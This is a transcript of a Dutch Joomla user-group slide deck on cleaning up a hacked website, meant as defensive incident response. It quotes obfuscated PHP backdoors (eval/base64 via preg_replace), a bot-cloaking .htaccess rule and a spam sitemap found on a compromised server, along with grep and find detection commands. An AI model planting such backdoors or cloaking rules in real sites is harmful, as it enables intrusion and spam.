SlideShare a Scribd company logo

Help mijn website is gehackt - Joomla User Group Den Bosch 2014

•
Peter Martin, profile picture
Peter Martin

The document discusses a hacked website using Joomla, detailing the reasons for hacking, including credit card theft and phishing. It outlines the procedures for backup, analysis, and recovery, mentioning specific hacking techniques and payloads discovered in the system. Multiple backdoors were identified, indicating a serious security breach and the need for immediate action.

Technology
1 of 57
Downloaded 15 times
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
Help mijn site is gehackt... wat nu? door Peter Martin www.db8.nl / @pe7er
1.Waarom hacken? 2.Website gehackt 3.SSH connectie 4.Procedure – Backup – Analyse – Herstel Joomla User GGrroouupp DDeenn BBoosscchh –– 11 ddeecceemmbbeerr 22001144 Website gehackt
Waarom hacken?
1. Credit Cards
2. Informatie
3. Graffiti
4. Phishing
5. SPAM
6. Backlinks
7. DDOS
8. CPU
9. Handel
Website gehackt
Website gehackt 1
opencoffee website is gehackt Joomla User GGrroouupp DDeenn BBoosscchh –– 11 ddeecceemmbbeerr 22001144 Website gehackt 1 Klant Hosting Provider ?!?! Andere sites, zelfde IP ook!?! (laconiek) gewoon index.php terugzetten Hierbij zeg ik mijn hosting op, asap!
Website gehackt 2
E-mail bounced paar dagen Joomla User GGrroouupp DDeenn BBoosscchh –– 11 ddeecceemmbbeerr 22001144 Website gehackt 2 Klant website Fabrik ?!?! from: @ .br to: @ .br !?! Spam script, tijdstip in access log Front-end upload: Bestandsformaat niet toegestaan!
Website gehackt 3
Ik admin toegang op website? Joomla User GGrroouupp DDeenn BBoosscchh –– 11 ddeecceemmbbeerr 22001144 Website gehackt 3 Klant SSH op website Backup, (just in case) ?!?! verschil grootte vorige backup? Verdachte php bestanden & viagra sitemap.xml
Joomla User GGrroouupp DDeenn BBoosscchh –– 11 ddeecceemmbbeerr 22001144 Backdoor 1 /includes/xmlrpc.php - 07 september 2014 23:15:01 <?php # GNU LESSER GENERAL PUBLIC LICENSE # Version 3, 29 June 2007 # # Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/> # Everyone is permitted to copy and distribute verbatim copies # of this license document, but changing it is not allowed. [..] # # You should have received a copy of the GNU General Public License # along with this program. If not, see <http://www.gnu.org/licenses/> $auth_pass = "52fd812f55cb3118bb3bfe575b59a02d"; $color = "#df5";preg_replace("/.*/e","x65x76x61x6Cx28x67x7Ax69x6Ex66 x6Cx61x74x65x28x62x61x73x65x36x34x5Fx64x65x63x6Fx64x65x28'7X1re9s2z/D n9VcwmjfZq+PYTtu7s2MnaQ5t2jTpcugp6ePJsmxrkS1PkuNkWf77C4CkREqy43S738N1vbufp7FIEARJkARBAHT 7xRVnNIlui4XO6d7Jx72TC/PN2dmHzjl8dbZf7x2dmd9KJXbHCtPQCbYHzjgKWYtZQWDdFo3Xvj/wHKPMjFNvGkz wx/vTo1d+hL9cq2MF9tC9dgL8/GKNe84N/jqxRl0PEktN5vaLk8AZdEZWZA+L5prJKswdTTy/5xTNv82yWm0J8sw 1FxMfoHXoWD0nKFLuWq1SZc+qz9iRH7F9fzrumVCvc+NGTXYP/9tyx24ndKKi6QSBH3Q8f2CWj84PDwEqyYPUDuW HZrmq5Yysm45z49jTyPXHncgdOQICcumz47kjNyrGaSNr4NqdP6d+5ISdYDpGGJ7bc/Niet in ruGNr96fS4A607PTg+backup van gsa a9cpzk3fVIF18MLGL1OL+dGwjAQzKhlHgTkLPCodOWCzQSCFI4ETTYMzcsMMHT+Zs8sEExBOqWi2OfS3AGiwPL/hofPh+PQMmCJTN2UATKGzc3z87mAvF4ZnEaa4FbPQP/QH7riIhPdcp2hsAJswy3MH45YNzOAE7Y2+18 oktober H4zYyImGfq8 2014 ! Z 18cOo/cEKw5kf9Bpswx1PphGLbidOayJS2dga8a+2mh1OuzA87Nrypk7LbLfN9sYaYoY/UGXb0AlD8p3I9v0rIKp wBd1zTZNDtOKicPUNGlm4brIMGOJxk+lmTaNhB6mh8YMMN0R+4n12YWIOcDP7+WdWHPWeZ9JbUIuKQiOMF9DmyBs oDeXKainkKVZckRWLJswvDNX+/TdbCpKtpOhLRlT0A3BB5Hv+DOYpDAF8FT+8+dA5Pi1Xy+slap8xc8dGiRV8XHB M+DBh3nqhI1PG7g2kFEKr73RGsGBAGk3LAU7LOFVMnZUErsT4TA+ciR9E7nhAs6/Qc0MLlqWOHOtQw5fJRbyFoQ Gehackt op 19 oktober 2014
Joomla User GGrroouupp DDeenn BBoosscchh –– 11 ddeecceemmbbeerr 22001144 Payload 1 .htaccess - 09 november 11:45:48 RewriteEngine On RewriteCond %{HTTP_USER_AGENT} (google|yahoo|msn|aol|bing|spaumbot) [OR] RewriteCond %{HTTP_REFERER} (google|yahoo|msn|aol|bing) RewriteRule ^([^/]*)/$ /main.php?p=$1 [L] ## # @package Joomla # @copyright Copyright (C) 2005 ­2014 Open Source Matters. All rights reserved. # @license GNU General Public License version 2 or later; see LICENSE.txt ## Toegevoegd Hack via backdoor door 2e hacker
Hack via backdoor door 2e hacker, op 9 november 2014 toegevoegd. Joomla User GGrroouupp DDeenn BBoosscchh –– 11 ddeecceemmbbeerr 22001144 Payload 2 main.php - 10 juli 2013 11:25:27 <?php Error_Reporting(0); $xTBYAB76GYfo="rRgNb9pINsmlkm88FKyALcceuFM36xyYbdASOBpMe4FEhCapvQV74nL1b0 il/v97b8Y2BkKSSudIwZ55X/O+5/38EUW9Pm96w07Tu3B//vAIMYjTZIpBqKY3/Gkw/vlDq3N /6bS85h9e811y5rqnThu+nMFHr+cmJ5PreNTqeW4c8L/9/PHzB4dnqZK3FZXyK/7vDcyzfgtw xptgKiXUqBplRvx0ETk/4nu9qkoAhzClalrMj8vlchjP43j+NGzNvvPTL7GDm0rNso2aqemwn 6jMKhG2sEzdtDVTXygVk9RMaz+0jFoiaCnEsJiqGgTBbV21DJ0yna4AVEbeMuLYhgSpUKpcRl ESrjDDJFKpSWhJiQCLGbqj1nRyf38fKhVFEimRqqOzMhBYoUn2Jq2kOy9TkaIUpFCNqkmO2H6 oMxrpBrXVqMHosamyLWRpXU1VGfWXVFECYcQlrSkoAgoGi2NcUZR9hspNXER8w1lVZQjLkUC9 pFtUA+HYnqZS1U/UfdUBng5lNcWxNZJsEd6E8NFUvEC3AOvDvm7WmO84o07Xc5xAAoMc6HEoA VCh+[..] +jPuv0ZCSPco4yHZS4goVte05ZaSQG+kdELd9Sz2YzKa3nwIRHiW9qulHKSSXNiggPBGFb0SQ PUZPP4iNUBuLj2JSJG6RItv9Dw==";preg_replace("/.*/e","x65x76x61x6Cx28 x62x61x73x65x36x34x5Fx64x65x63x6Fx64x65x28'ZXZhbChiYXNlNjRfZ GVjb2RlKCJaWFpoYkNoaVlYTmxOalJmWkdWamIyUmxLQ0pLU0doeVRXeEdkbHByYkRSVV[..] preg_replace("/.*/e","eval(base64_decode('
Hack via backdoor door 2e hacker, op 9 november 2014 toegevoegd. Joomla User GGrroouupp DDeenn BBoosscchh –– 11 ddeecceemmbbeerr 22001144 Payload 3 sitemap.xml - 9 november 2014 11:50:42 <?xml version="1.0" encoding="UTF­8"?> <urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"> <url> <loc>http://www.voorbeeld.nl/viagra­professional­100mg/</ loc> <lastmod>2014­11­09</ lastmod> <changefreq>monthly</changefreq> <priority>1.0</priority> </url> <url> <loc>http://www.voorbeeld.nl/long­term­side­effects­of­cialis/</ loc> <lastmod>2014­11­09</ lastmod> <changefreq>monthly</changefreq> <priority>1.0</priority> </url> <url> <loc>http://www.voorbeeld.nl/price­of­viagra­100mg­tablet/</ loc> <lastmod>2014­11­09</ lastmod> <changefreq>monthly</changefreq> <priority>1.0</priority> </url> </urlset> 590 spam links
via backdoor door 2e hacker, op 9 november 2014 toegevoegd. Joomla User GGrroouupp DDeenn BBoosscchh –– 11 ddeecceemmbbeerr 22001144 Backdoor 2 /libraries/joomla/session/cache.php 19 augustus 2013 14:45:46 Aangepast! <?php Error_Reporting(0); $x0bp6Rx0vRH="vRhrb9s28K+71VLHDtCsfmRTggC2GUOijFo1LWlA3CY/oAX6F0ZDZWWl k5ols9MmLnZHUrLkR5btw5w4Eo/34r2Z9x8Mz6Oe2SIB9Zhrd5N5unz/4f2HqU+8N8Qzx/ A0rS6xmbgXL6Zm22j9bLRO+ctG48hswsqsPjP2G/xEUrkdkXwOPNI1BxbrDxM+84nTOaNs 5vJYbPJMU/FOSutS2nUIiKhU620j51Vi9UziALPzrm9d9T1r5BDvvNrzf6LsSm2eH5Ceaw WWx2zi+ec5xdUBPXNhe8hYcI4c/MDtAbFm8qh2K92YNyag2kRqHIxZx5XgRqupNJ52CXNc +7UPQE5tDsDpgPZwNecSQ8Bn2nO9e+a5g8RnnumRwLH6JOGj0SjiMefxmo1f1tpg3WgFbR m/NI12w2y2DvlJit7KuQ56Nwm+IPAj/E4Diw2VrF30GbnElPT4phnIHd97M/S3eV9ptlxH g1Mx6tAR8RINlNzwveP4CiE/dojHDuMwjLfjSo3UKgqvnFArhrHh+j5hyZQFgfYTGwSoO1 AhEI0Pj0sivdFA+08EcXyCuAIZdMZ2n7nUNsmF6zM/4f6lb4ILTUYGgQlm5BuM1zESab8C 3wJuAvu2NSCJaVYO64ZpKl9NdAC5neSz60smGVEUzsIoP+0sBPHIdPAakMROrHh+fX2dZn u0mucJwFJtpXWW1AkIoFOCpcYzyW8OKhuUr9if4Dv38D";preg_replace("/.*/e","x 65x76x61x6Cx28x62x61x73x65x36x34x5Fx64x65x63x6Fx64x65 x28'ZXZhbChiYXN preg_replace("/.*/e","eval(base64_decode('
via backdoor door 2e hacker, op 9 november 2014 toegevoegd. Joomla User GGrroouupp DDeenn BBoosscchh –– 11 ddeecceemmbbeerr 22001144 Backdoor 3 /administrator/fs-login.phtml - 09 november 2014 11:45:48 <?php Error_Reporting(0); $xJdU8NfauOq="5b1rdxrH0igs2Y4kHxzLkmXLlix7EGQmWsuKGcjAwDDR79gfvJftABLYRuzMaIIQxH/ 9VFXf54KQk/0871kve8eC7urq6lt1dVV19cQrW91S1XOceBgnn+rNVvNL89PXL+f93z987Xsf67Xfvw4+ 1Qet8+bvNTe5/Ne/J63AD2yE/rNW/0gpNbfulX2r5LWsMOhAVlR3er3fIz2v7Lgl7zfvLeRadtnVs1pdz 3ZcC8vdDzu1oOJc9wcf+1j8X/8O6/Mrt121TueT0ubOxr2dje3o1drag9I6/Co9e7pzsBY9XCzid//6dw yfCdRjP2u4HQsb5Nm2dzpPngZBw3eTaZxs+mW7il9ebh48Dyz8Fnolz251w2PXxp8/ep2a+xa/bXjtpg+ Ji0uGGiip2m6j1PasVnce3UTxLA7bVT+oufPo52iq172AvOgmxMRVqMZP1/Vqrj0nsJv+rBd/6H2IDwIr 3g3KnVokqMCP+za0+M+Tf/37BLtpL+yEJejEeeTadmCX/KARTQ/WX7zAcioTkksE4ETTnpnV9t6W3Lduq 4xjWLLCtitAIJt+l/ywHVpzldj2GmGr9FM5sFynZJc7CMSzYWzDDvTL/c3DErR+8+jwADojGsw+UktoXB tpFI1qa8465X293GGTCRA4lh1WHd9zuq4zn9CYMqD3tmuV7U4cOiU20iLzMxt5wF4lEnQMOCYcbBznoQb y3kOfvp+UHhxursEsypBAGWJAJqX9w8M3Rzu5gCwLQWmUZKsqTvAiaISdOWtILXTnyQXMrtjzw0Zn2II5 5Nqji3pgt+O2a3WD2rAaONboASzUSmDXxvFF2KmWrdg6rbrDKk+NO16b/Rrp2U65CeMWH3t+2R1Go1E0u rhBzPAHqhwlWfKwIa7VCoIzIGxyBj12rFYYb9T25OwhtHlyzPshU0Bg1VawZDZq6kNu6OAEZL26HWE2rI 34jz/iebv2MZM+hDo1PGpVGESzksbSewVoAMFUL05TkZERz68EIbyBxTiAjJ9/jleCjK+K6FVzQOspmD8 W8NcKcAIYNvg1f/DqQelwc9qbni+o8Ukl7CQLnJ8BsrgIfiKndH3HVYmd8C1jnxPHq7ulNvAoSKb [..] N1BmC06baOOvUABzLnQQOPayaWUZNuVsvz/RKeu0tYqggU6iMX1/8L";preg_replace("/.*/e","x6 5x76x61x6Cx28x62x61x73x65x36x34x5Fx64x65x63x6Fx64x65x28'ZXZhbCh iYXNlNj preg_replace("/.*/e","eval(base64_decode('
via backdoor door 2e hacker, op 9 november 2014 toegevoegd. Joomla User GGrroouupp DDeenn BBoosscchh –– 11 ddeecceemmbbeerr 22001144 Backdoor 4-9 Toegevoegd op 09 november 2014 11:45:48 /language/comnon.phtml /layouts/fedit.php /libraries/fedit.php /logs/comnon.php /plugins/fs-login.phtml /tmp/Iicense.php bevat: <?php Error_Reporting(0); preg_replace("/.*/e","x65x76x61x6Cx28x62x6 1x73x65x36x34x5Fx64x65x63x6Fx64x65x28
Gevolg
SSH connectie
Joomla User GGrroouupp DDeenn BBoosscchh –– 11 ddeecceemmbbeerr 22001144 Terminal Text Terminal “TTY” TeleTYpewriter
Joomla User GGrroouupp DDeenn BBoosscchh –– 11 ddeecceemmbbeerr 22001144 Terminal Windows – SSH programma: PuTTY Mac OSX – Ingebouwd: “Terminal” Linux – Ingebouwde Terminal Emulator
Joomla User GGrroouupp DDeenn BBoosscchh –– 11 ddeecceemmbbeerr 22001144 SSH Secure SHell gebruikt public-key cryptografie (authenticatie & veilige data communicatie) peter@computer:~$ ssh peter@192.168.0.10
Joomla User GGrroouupp DDeenn BBoosscchh –– 11 ddeecceemmbbeerr 22001144 SSH peter@computer:~$ ssh peter@example.com The authenticity of host 'example.com (93.184.216.119)' can't be established. RSA key fingerprint is 10:51:ab:f5:d7:[..]:17:16:1f:22:33. Are you sure you want to continue connecting (yes/no)? yes Warning: Permanently added 'example.com,93.184.216.119' (RSA) to the list of known hosts. peter@example.com's password: peter@example.com ~ $
Procedure
Backup
Joomla User GGrroouupp DDeenn BBoosscchh –– 11 ddeecceemmbbeerr 22001144 Backup files Backup van voor de hack? – Hosting partij? – Akeeba backup (offline)? Maak backup van huidige situatie (inclusief hack!) – Akeeba backup – Rsync / MySQL dump
gebruikersnaam @ server : folder gebruikersnaam @ server : folder Joomla User GGrroouupp DDeenn BBoosscchh –– 11 ddeecceemmbbeerr 22001144 rsync Remote synchronization – rsync van “bron” naar “doel” $ rsync -arv peter@voorbeeld.nl:~/joomla-cms/ /var/www/joomla-cms-backup/
Joomla User GGrroouupp DDeenn BBoosscchh –– 11 ddeecceemmbbeerr 22001144 MySQL Dump MySQL Dump $ mysqldump -u gebruikersnaam -p databasenaam > bestand-met-sql-uitvoer.txt
Analyse
Joomla User GGrroouupp DDeenn BBoosscchh –– 11 ddeecceemmbbeerr 22001144 Analyse ● Software versies: – CMS (Joomla versie?) – Versies 3rd party extensies? ● Access Logfiles – Vreemde POST requests?
Joomla User GGrroouupp DDeenn BBoosscchh –– 11 ddeecceemmbbeerr 22001144 Analyse ● Nieuwe bestanden op server – .php files in /images/ map? ● Bestanden met vreemde code – Base64 decode ● Vergelijk bestanden met originele bestanden – diff
Joomla User GGrroouupp DDeenn BBoosscchh –– 11 ddeecceemmbbeerr 22001144 Nieuwe bestanden Aangemaakt in de laatste 7 dagen: find . -type f -ctime -7
Joomla User GGrroouupp DDeenn BBoosscchh –– 11 ddeecceemmbbeerr 22001144 Recent gewijzigd Gewijzigd tussen 7 en 3 dagen geleden: find . -type f -mtime -7 ! -mtime -3
Joomla User GGrroouupp DDeenn BBoosscchh –– 11 ddeecceemmbbeerr 22001144 grep ● Zoek naar specifieke teksten grep -r "eval" /var/www/joomla-cms | grep "base64_decode" ● Of grep -r "preg_replace" /var/www/joomla-cms | grep "x65x76x61x6Cx28x62x61x73x65x36x34x5 Fx64x65x63x6Fx64x65x28" grep -r "eval" /var/www/joomla-cms | grep "<?php Error_Reporting(0);”
Joomla User GGrroouupp DDeenn BBoosscchh –– 11 ddeecceemmbbeerr 22001144 NeoPi
Joomla User GGrroouupp DDeenn BBoosscchh –– 11 ddeecceemmbbeerr 22001144 NeoPi Detectie van verborgen web shell code Benodigd Python 2.6 Installeer via git: $ git clone https://github.com/Neohapsis/NeoPI.git Start script: $ /var/www/NeoPI/neopi.py -Aa /var/www/joomla-cms
Joomla User GGrroouupp DDeenn BBoosscchh –– 11 ddeecceemmbbeerr 22001144 diff
Joomla User GGrroouupp DDeenn BBoosscchh –– 11 ddeecceemmbbeerr 22001144 diff Vergelijk bestanden van website met originele bestanden: – Zorg voor map met originele Joomla + extensies ● Oude backup of ● Nieuwe installatie Joomla + extensies – Zorg voor map met gehackte website Gebruik diff software om te vergelijken: – Linux + OSX: Meld – Windows: WinMerge
Herstel
Joomla User GGrroouupp DDeenn BBoosscchh –– 11 ddeecceemmbbeerr 22001144 Herstel ● Verwijderen alle hacker scripts – Kijk verder dan “hack” ivm backdoor scripts ● Alle software up-to-date brengen – Joomla – 3rd party extensions
Joomla User GGrroouupp DDeenn BBoosscchh –– 11 ddeecceemmbbeerr 22001144 Herstel ● Wachtwoorden vervangen – MySQL database wachtwoord – FTP wachtwoord – Wachtwoorden van Joomla gebruikers ● Evt extra controle: – Backup schoon gemaakte website vergelijken met nieuwe Joomla installatie → diff
Joomla User GGrroouupp DDeenn BBoosscchh –– 11 ddeecceemmbbeerr 22001144 Herstel ● Eigen .xml sitemap aanmelden bij Google ● Spam pagina's sneller uit zoekmachines? "410 Gone error" via .htaccess: RewriteRule S*viagra+S* ­[ G] RewriteRule S*cialis+S* ­[ G] RewriteRule S*pharmacy+S* ­[ G] RewriteRule S*propecia+S* ­[ G] RewriteRule S*drugs+S* ­[ G]
Conclusie
1.Waarom? 2.Website gehackt 3.SSH connectie 4.Procedure – Backup – Analyse – Herstel Joomla User GGrroouupp DDeenn BBoosscchh –– 11 ddeecceemmbbeerr 22001144 Conclusie
Joomla User GGrroouupp DDeenn BBoosscchh –– 11 ddeecceemmbbeerr 22001144 Vragen? Peter Martin e-mail: info at db8.nl website: www.db8.nl twitter: @pe7er Presentatie: http://www.db8.nl
Joomla User GGrroouupp DDeenn BBoosscchh –– 11 ddeecceemmbbeerr 22001144 Used Photos Titel sheet: Guy Fawkes Mask - Ben Fredericson, 2009 http://commons.wikimedia.org/wiki/File:Guy_Fawkes_Mask.jpg 1. Waarom hacken? Question mark (3534516458) - Marco Bellucci, 2005 http://commons.wikimedia.org/wiki/File:Question_mark_(3534516458).jpg Credit-cards - Lotus Head, 2005 http://commons.wikimedia.org/wiki/File:Credit-cards.jpg Pickpocket girl - Lunch Photography, 2008 http://commons.wikimedia.org/wiki/File:Pickpocket_girl.jpg Graffiti-Sokolov5 - Orange.man, 2008 http://commons.wikimedia.org/wiki/File:Graffiti-Sokolov5.JPG Phishing - Stomchak, 2010 http://commons.wikimedia.org/wiki/File:Phishing.JPG Spam 2 - Bodo Akdeniz, 2005 http://commons.wikimedia.org/wiki/File:Spam_2.jpg Plugboard wires - Daniel Sancho, 2005 http://commons.wikimedia.org/wiki/File:Plugboard_wires.ds.jpg
Joomla User GGrroouupp DDeenn BBoosscchh –– 11 ddeecceemmbbeerr 22001144 Used Photos WAC telephone operators operate the Victory switchboard during the Potsdam Conference in their headquarters in - U.S. National Archives and Records Administration, 1945 http://commons.wikimedia.org/wiki/File:WAC_telephone_operators_operate_the_Victory_switchboard _during_the_Potsdam_Conference_in_their_headquarters_in..._-_NARA_-_199007.jpg Butterfly Labs Bitcoin miner - arstechnica.com, 2013 http://cdn.arstechnica.net/wp-content/uploads/2013/05/IMG_6048-Version-3.jpg Cirencester, market place - Tony Grist, 2008 http://commons.wikimedia.org/wiki/File:Cirencester,_market_place.jpg 2. Hacked Youve-been-hacked, Hanonen, 2014 http://commons.wikimedia.org/wiki/File:Youve-been-hacked.jpg Piedbiche - Isabelle Grosjean, 2001 http://commons.wikimedia.org/wiki/File:Piedbiche.jpg 3. SSH connectie Switchboard Manual - Peel Conner, Geez-oz, 2012 http://commons.wikimedia.org/wiki/File:Switchboard_Manual_-_Peel_Conner.JPG Bundesarchiv Bild 183-2008-0516-500, Fernschreibmaschine mit Telefonanschluss - Illger, Willi, 1930 http://commons.wikimedia.org/wiki/File:Bundesarchiv_Bild_183-2008-0516-500,_Fernschreibmaschin e_mit_Telefonanschluss.jpg
Joomla User GGrroouupp DDeenn BBoosscchh –– 11 ddeecceemmbbeerr 22001144 Used Photos 4. Procedure Motorola M6800 manuals - Michael Holley, 2010 http://commons.wikimedia.org/wiki/File:Motorola_M6800_manuals.jpg Backup IBM 7330 on white background, Crisco 1492, 2013 http://commons.wikimedia.org/wiki/File:IBM_7330_on_white_background.jpg Analyse Postcards and magnifying glass, Anna, 2007 http://commons.wikimedia.org/wiki/File:Postcards_and_magnifying_glass.jpg Magnifying glass on antique table - Stéphane Magnenat, 2008 http://commons.wikimedia.org/wiki/File:Magnifying_glass_on_antique_table.jpg Magnifying glass - Faberge - shakko, 2011 http://commons.wikimedia.org/wiki/File:Magnifying_glass_-_Faberge.jpg Binary Code, Cncplayer, 2013 http://commons.wikimedia.org/wiki/File:Binary_Code.jpg Two different shoes on, Kelly Bailey, 2007 http://commons.wikimedia.org/wiki/File:Two_different_shoes_on.jpg Herstel IBM 650 at Texas A&M open for repair - Cushing Memorial Library and Archives, Texas A&M, 2009 http://commons.wikimedia.org/wiki/File:IBM_650_at_Texas_A%26M_open_for_repair.jpg Conclusie EquinoxeJuniorHighPac-Man - Equinoxe, 2012 http://www.c64-wiki.com/index.php/File:EquinoxeJuniorHighPac-Man.png

More Related Content

TXT
C99
sosoion
 
PDF
HTTP For the Good or the Bad - FSEC Edition
Xavier Mertens
 
PPTX
Mood board
danielharrison12
 
DOCX
Pdf file
botarj
 
KEY
Vocab.13
dg434148mhs
 
DOCX
Pdf drive
botarj
 
PDF
Porque VIM?
Augusto Pascutti
 
PDF
Pdf software
botarj
 
C99
sosoion
 
HTTP For the Good or the Bad - FSEC Edition
Xavier Mertens
 
Mood board
danielharrison12
 
Pdf file
botarj
 
Vocab.13
dg434148mhs
 
Pdf drive
botarj
 
Porque VIM?
Augusto Pascutti
 
Pdf software
botarj
 

What's hot (20)

PPTX
โครงงานคอมพิวเตอร์
tatumoxlxo
 
PDF
Pdf pro
botarj
 
PDF
Logs: O que comem, onde vivem e como se reproduzem.
Augusto Pascutti
 
PDF
Pdf to jpg
botarj
 
DOCX
Pdf editor
botarj
 
PDF
Pdf merger
botarj
 
PDF
Pdf reader
botarj
 
PDF
Pdf books
botarj
 
PDF
Pdf creator
botarj
 
PDF
Pdf compressor
botarj
 
PDF
Pdf online
botarj
 
PDF
Pdf acrobat
botarj
 
PDF
Pdf editor free
botarj
 
PDF
Bitcoin Mining
Nathan Wynne
 
PDF
রমাযানের ফাযায়েল ও রোযার মাসায়েল
Sonali Jannat
 
PDF
Grails紹介
Uehara Junji
 
PDF
095722121-期中報告-UGC
cherish0906
 
PDF
2019 GDRR: Blockchain Data Analytics - Machine Learning in/for Blockchain: Fu...
The Statistical and Applied Mathematical Sciences Institute
 
PDF
DNS May Be Hazardous to Your Health
Robert Stucke
 
PDF
Pdf online editor
botarj
 
โครงงานคอมพิวเตอร์
tatumoxlxo
 
Pdf pro
botarj
 
Logs: O que comem, onde vivem e como se reproduzem.
Augusto Pascutti
 
Pdf to jpg
botarj
 
Pdf editor
botarj
 
Pdf merger
botarj
 
Pdf reader
botarj
 
Pdf books
botarj
 
Pdf creator
botarj
 
Pdf compressor
botarj
 
Pdf online
botarj
 
Pdf acrobat
botarj
 
Pdf editor free
botarj
 
Bitcoin Mining
Nathan Wynne
 
রমাযানের ফাযায়েল ও রোযার মাসায়েল
Sonali Jannat
 
Grails紹介
Uehara Junji
 
095722121-期中報告-UGC
cherish0906
 
2019 GDRR: Blockchain Data Analytics - Machine Learning in/for Blockchain: Fu...
The Statistical and Applied Mathematical Sciences Institute
 
DNS May Be Hazardous to Your Health
Robert Stucke
 
Pdf online editor
botarj
 

Viewers also liked (20)

ODP
Internet of Things - Linux Usergroup Nijmegen
Peter Martin
 
PDF
GNU Radio & digitaal vliegtuig spotten
Peter Martin
 
ODP
Joomla 10-jaar-vooruitgang-jdnl15
Peter Martin
 
PDF
Joomla: 10 years of progress (jd15fr)
Peter Martin
 
ODP
Linux command-line-magic-jdnl15
Peter Martin
 
ODP
JCE editor optimaliseren (Joomla Den Bosc­h 2016)
Peter Martin
 
ODP
Developing new feature in Joomla - Joomladay UK 2016
Peter Martin
 
PDF
1 Message from The Conservatives
Jan Algoed
 
ODP
Joomla Community
Peter Martin
 
PDF
Music Trackers - Linux Usergroup Nijmegen 2014
Peter Martin
 
ODP
Configuring Joomla JCE editor from usability point of view
Peter Martin
 
PDF
Powertools for Joomla!
Peter Martin
 
PDF
Programmeren van Plugins voor Joomla 1.5
Peter Martin
 
PDF
How IT works - Joomladay UK 2014
Peter Martin
 
ODP
Joomla Bugs, Patches & Fun - Joomladagen 2014
Peter Martin
 
PDF
Developing a Joomla 3.x Component using RAD/FOF - Joomladay UK 2014
Peter Martin
 
PDF
Joomla multilingual website without 3rd party extensions - Joomladay UK 2014
Peter Martin
 
ODP
Basis Linux (aan de hand van LPIC-1)
Peter Martin
 
ODP
Linux Nijmegen - Webserver (LAMP stack) opzetten met VirtualbBox & Vagrant
Peter Martin
 
ODP
Joomla on Raspberry Pi using Nginx - Nederlandse Linux Gebruikers Group novem...
Peter Martin
 
Internet of Things - Linux Usergroup Nijmegen
Peter Martin
 
GNU Radio & digitaal vliegtuig spotten
Peter Martin
 
Joomla 10-jaar-vooruitgang-jdnl15
Peter Martin
 
Joomla: 10 years of progress (jd15fr)
Peter Martin
 
Linux command-line-magic-jdnl15
Peter Martin
 
JCE editor optimaliseren (Joomla Den Bosc­h 2016)
Peter Martin
 
Developing new feature in Joomla - Joomladay UK 2016
Peter Martin
 
1 Message from The Conservatives
Jan Algoed
 
Joomla Community
Peter Martin
 
Music Trackers - Linux Usergroup Nijmegen 2014
Peter Martin
 
Configuring Joomla JCE editor from usability point of view
Peter Martin
 
Powertools for Joomla!
Peter Martin
 
Programmeren van Plugins voor Joomla 1.5
Peter Martin
 
How IT works - Joomladay UK 2014
Peter Martin
 
Joomla Bugs, Patches & Fun - Joomladagen 2014
Peter Martin
 
Developing a Joomla 3.x Component using RAD/FOF - Joomladay UK 2014
Peter Martin
 
Joomla multilingual website without 3rd party extensions - Joomladay UK 2014
Peter Martin
 
Basis Linux (aan de hand van LPIC-1)
Peter Martin
 
Linux Nijmegen - Webserver (LAMP stack) opzetten met VirtualbBox & Vagrant
Peter Martin
 
Joomla on Raspberry Pi using Nginx - Nederlandse Linux Gebruikers Group novem...
Peter Martin
 

Similar to Help mijn website is gehackt - Joomla User Group Den Bosch 2014 (20)

PDF
laboratorio
zantytaz2012
 
PPTX
Web scraping 101 with goutte
Joshua Copeland
 
PDF
Here is a Backlinks Of Softpcfree.com.pdf
Google
 
PDF
Diagnosing WordPress: What to do when things go wrong
WordCamp Sydney
 
PDF
Smashing the stats for fun (and profit)
Security B-Sides
 
PDF
Github integration-kostyasha
Kanstantsin Shautsou
 
PPTX
Twas the night before Malware...
DoktorMandrake
 
PDF
Malcon2017
Andriy Brukhovetskyy
 
PDF
Clearance: Simple, complete Ruby web app authentication.
Jason Morrison
 
PDF
WordPress Security - ওয়ার্ডপ্রেসের সিকিউরিটি
Faysal Shahi
 
PDF
Integrity protection for third-party JavaScript
Francois Marier
 
PDF
Using Nix and Docker as automated deployment solutions
Sander van der Burg
 
PDF
300588828 guia-uam-cbs
Martha Edith Cruz Tinoco
 
PPTX
2012 coscup - Build your PHP application on Heroku
ronnywang_tw
 
PDF
Application of Radare2 Illustrated by Shylock and Snakso.A Analysis
Positive Hack Days
 
PDF
PHP Backdoor: The rise of the vuln
Sandro Zaccarini
 
PDF
What's New and Newer in Apache httpd-24
Jim Jagielski
 
PDF
Logstash for SEO: come monitorare i Log del Web Server in realtime
Andrea Cardinale
 
PDF
yusukebe in Yokohama.pm 090909
Yusuke Wada
 
PDF
2015.07.16 Способы диагностики PostgreSQL
dev1ant
 
laboratorio
zantytaz2012
 
Web scraping 101 with goutte
